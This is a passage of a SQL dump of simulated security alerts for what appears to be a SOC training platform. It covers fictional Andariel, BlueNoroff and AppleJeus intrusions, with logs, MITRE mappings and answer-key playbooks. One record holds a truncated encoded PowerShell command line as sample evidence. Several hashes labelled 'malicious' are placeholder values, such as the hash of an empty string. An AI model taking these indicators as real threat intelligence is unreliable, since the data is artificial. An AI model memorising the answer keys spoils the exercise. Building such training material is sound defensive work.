1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_report.pdf\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"detection_method\\\":\\\"DLP\\\",\\\"severity\\\":\\\"high\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.851Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_report.pdf\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"detection_method\\\":\\\"DLP\\\",\\\"severity\\\":\\\"high\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.851Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_report.pdf\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"detection_method\\\":\\\"DLP\\\",\\\"severity\\\":\\\"high\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.851Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_report.pdf\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"detection_method\\\":\\\"DLP\\\",\\\"severity\\\":\\\"high\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1351, 'Phishing Email Detected', 'high', 'Corporate Email Security System', 'An employee at a South Korean defense contractor receives a suspicious email purporting to be from a known supplier. The email contains a malicious attachment designed to install malware upon opening.', 'Initial Access', 'T1566.001 - Phishing: Spear Phishing Attachment', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T08:45:22Z\",\"source_ip\":\"203.0.113.5\",\"destination_ip\":\"10.0.3.45\",\"email_subject\":\"Urgent: New Contract Draft\",\"sender_email\":\"supplier@example.com\",\"recipient_email\":\"employee@skdefense.kr\",\"attachment_name\":\"Contract_Draft.exe\",\"attachment_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"action_taken\":\"Email quarantined\",\"alert_id\":\"ALERT-20231005-0001\"}', '2026-03-01 23:01:37', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"supplier@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Email Reputation System\",\"verdict\":\"suspicious\",\"details\":\"Email domain recently registered and used in phishing attempts\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"Contract_Draft.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Malware Analysis Service\",\"verdict\":\"malicious\",\"details\":\"Executable file containing known malware signature\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware sample\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email Detected\",\"date\":\"2026-03-02T13:55:06.853Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1352, 'Malware Execution Triggered', 'high', 'Endpoint Detection and Response (EDR) System', 'A custom Andariel malware variant has been executed on the host system, providing remote access capabilities to the attacker.', 'Execution', 'T1059: Command and Scripting Interpreter', 1, 'new', NULL, '{\"timestamp\":\"2023-10-31T14:32:58Z\",\"event_id\":\"4625\",\"host_ip\":\"192.168.1.45\",\"username\":\"jdoe\",\"process\":{\"name\":\"msword.exe\",\"path\":\"C:\\\\Program Files\\\\Microsoft Office\\\\Office16\\\\msword.exe\"},\"file\":{\"name\":\"invoice.docx\",\"path\":\"C:\\\\Users\\\\jdoe\\\\Downloads\\\\invoice.docx\",\"hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\"},\"network\":{\"src_ip\":\"192.168.1.45\",\"dst_ip\":\"203.0.113.45\",\"dst_port\":443},\"malware\":{\"name\":\"Andariel\",\"variant\":\"Custom\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}}', '2026-03-01 23:01:37', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known Andariel C2 servers.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as a known Andariel malware variant.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"invoice.docx\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal EDR\",\"verdict\":\"suspicious\",\"details\":\"File used as a dropper in recent attacks.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1353, 'Persistence Mechanism Established', 'medium', 'System Registry Monitoring', 'The malware modifies system registry keys to maintain persistence, allowing the attackers to retain access even after system reboots.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T08:45:27Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.15\",\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\MaliciousApp\",\"modified_by_user\":\"jdoe_admin\",\"malware_filename\":\"evilapp.exe\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user_context\":\"SYSTEM\",\"description\":\"Persistence mechanism established via registry key modification.\"}', '2026-03-01 23:01:37', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host IP.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malware hash associated with evilapp.exe.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"evilapp.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"malicious\",\"details\":\"File used in persistence mechanism.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe_admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Unusual activity detected for this user.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.856Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:27Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"modified_by_user\\\":\\\"jdoe_admin\\\",\\\"malware_filename\\\":\\\"evilapp.exe\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user_context\\\":\\\"SYSTEM\\\",\\\"description\\\":\\\"Persistence mechanism established via registry key modification.\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.856Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:27Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"modified_by_user\\\":\\\"jdoe_admin\\\",\\\"malware_filename\\\":\\\"evilapp.exe\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user_context\\\":\\\"SYSTEM\\\",\\\"description\\\":\\\"Persistence mechanism established via registry key modification.\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.856Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:27Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"modified_by_user\\\":\\\"jdoe_admin\\\",\\\"malware_filename\\\":\\\"evilapp.exe\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user_context\\\":\\\"SYSTEM\\\",\\\"description\\\":\\\"Persistence mechanism established via registry key modification.\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.856Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:27Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"modified_by_user\\\":\\\"jdoe_admin\\\",\\\"malware_filename\\\":\\\"evilapp.exe\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user_context\\\":\\\"SYSTEM\\\",\\\"description\\\":\\\"Persistence mechanism established via registry key modification.\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.856Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:27Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"modified_by_user\\\":\\\"jdoe_admin\\\",\\\"malware_filename\\\":\\\"evilapp.exe\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user_context\\\":\\\"SYSTEM\\\",\\\"description\\\":\\\"Persistence mechanism established via registry key modification.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1354, 'Lateral Movement Detected', 'medium', 'Network Traffic Analysis', 'The attackers leverage stolen credentials to move laterally within the corporate network, targeting systems with access to sensitive defense sector data.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T10:32:45Z\",\"event_type\":\"network_connection\",\"source_ip\":\"192.168.1.101\",\"destination_ip\":\"10.0.0.45\",\"protocol\":\"SMB\",\"username\":\"jdoe\",\"file_accessed\":\"\\\\\\\\10.0.0.45\\\\sensitive\\\\project_plan.docx\",\"external_attacker_ip\":\"203.0.113.15\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"action\":\"access_granted\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\"}', '2026-03-01 23:01:37', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with lateral movement activity\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_user_directory\",\"verdict\":\"internal\",\"details\":\"Legitimate user account\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":false,\"osint_result\":{\"source\":\"hash_lookup_service\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with abnormal file access patterns\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1355, 'Sensitive Data Exfiltration', 'critical', 'Data Loss Prevention (DLP) Alerts', 'The attackers have initiated the exfiltration of sensitive intellectual property related to defense contracts and ATM transaction data to an external malicious server.', 'Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:45Z\",\"alert_id\":\"DLP-EXFIL-00342\",\"source_ip\":\"10.1.2.34\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"filename\":\"defense_contract_2023.pdf\",\"hash\":\"3d2e479f4b2c3d1ea8f1f2d8a3e2b7d9\",\"username\":\"jdoe\",\"action\":\"exfiltrate\",\"status\":\"blocked\"}', '2026-03-01 23:01:37', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Associated with known APT group operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.2.34\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host involved in exfiltration.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3d2e479f4b2c3d1ea8f1f2d8a3e2b7d9\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known data exfiltration malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"defense_contract_2023.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"suspicious\",\"details\":\"Sensitive document flagged for unauthorized transfer.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"User account involved in suspicious activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.859Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-00342\\\",\\\"source_ip\\\":\\\"10.1.2.34\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"filename\\\":\\\"defense_contract_2023.pdf\\\",\\\"hash\\\":\\\"3d2e479f4b2c3d1ea8f1f2d8a3e2b7d9\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"exfiltrate\\\",\\\"status\\\":\\\"blocked\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.859Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-00342\\\",\\\"source_ip\\\":\\\"10.1.2.34\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"filename\\\":\\\"defense_contract_2023.pdf\\\",\\\"hash\\\":\\\"3d2e479f4b2c3d1ea8f1f2d8a3e2b7d9\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"exfiltrate\\\",\\\"status\\\":\\\"blocked\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.859Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-00342\\\",\\\"source_ip\\\":\\\"10.1.2.34\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"filename\\\":\\\"defense_contract_2023.pdf\\\",\\\"hash\\\":\\\"3d2e479f4b2c3d1ea8f1f2d8a3e2b7d9\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"exfiltrate\\\",\\\"status\\\":\\\"blocked\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.859Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-00342\\\",\\\"source_ip\\\":\\\"10.1.2.34\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"filename\\\":\\\"defense_contract_2023.pdf\\\",\\\"hash\\\":\\\"3d2e479f4b2c3d1ea8f1f2d8a3e2b7d9\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"exfiltrate\\\",\\\"status\\\":\\\"blocked\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.859Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-00342\\\",\\\"source_ip\\\":\\\"10.1.2.34\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"filename\\\":\\\"defense_contract_2023.pdf\\\",\\\"hash\\\":\\\"3d2e479f4b2c3d1ea8f1f2d8a3e2b7d9\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"exfiltrate\\\",\\\"status\\\":\\\"blocked\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1356, 'Suspicious Access Attempt Detected', 'medium', 'Network IDS Logs', 'A suspicious access attempt was detected as BlueNoroff initiated a campaign by exploiting vulnerabilities in the target\'s web application. The objective was to gain unauthorized access to the cryptocurrency startup\'s network.', 'Initial Access', 'T1190: Exploit Public-Facing Application', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:12:07Z\",\"src_ip\":\"203.0.113.45\",\"dest_ip\":\"192.168.1.100\",\"src_port\":443,\"dest_port\":80,\"protocol\":\"HTTP\",\"alert\":\"Potential Exploit Detected\",\"signature_id\":\"2000011\",\"signature\":\"WEB-APP Remote Code Execution Vulnerability\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\",\"uri\":\"/vulnerable_endpoint\",\"method\":\"POST\"}', '2026-03-01 23:02:16', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT group activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of target network\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware used by BlueNoroff\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1357, 'Execution of Malicious Payload', 'high', 'Endpoint Security Logs', 'An endpoint has executed a payload associated with the AppleJeus malware, disguised as a cryptocurrency application. This execution could lead to unauthorized access and data exfiltration.', 'Execution', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:31Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.23\",\"username\":\"jdoe\",\"process_name\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Roaming\\\\CryptoTrader.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"event_description\":\"Process execution detected\",\"command_line\":\"\\\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Roaming\\\\CryptoTrader.exe\\\" -silent\",\"malware_family\":\"AppleJeus\",\"severity\":\"High\"}', '2026-03-01 23:02:16', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence 